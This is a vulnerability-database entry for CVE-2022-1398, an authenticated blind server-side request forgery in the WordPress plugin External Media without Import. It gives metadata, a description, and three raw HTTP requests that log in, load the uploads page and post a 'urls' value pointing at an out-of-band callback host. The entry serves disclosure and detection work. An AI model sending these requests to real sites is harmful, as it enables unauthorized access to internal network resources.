| Title | External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks. |
| Remediation | Upgrade to External Media without Import plugin version 1.1.2 or later. |
| CVSS Score | 6.5 |
| EPSS Score | 0.48896 |
| CVE ID | CVE-2022-1398 |
| CWE ID | CWE-918 |
| Tags | cve2022 cve ssrf wordpress wp-plugin wp wpscan external-media-without-import authenticated intrusive external_media_without_import_project vuln |
WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=HIDCpw&pwd=28EvbM&wp-submit=Log+In
GET /wp-admin/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
urls=http%3A%2F%2Fd5jm06ple0o311578mngqwhep67tkgf15.oast.pro&width=&height=&mime-type=&action=add_external_media_without_import
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1398.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1398.pcap
N/AN/A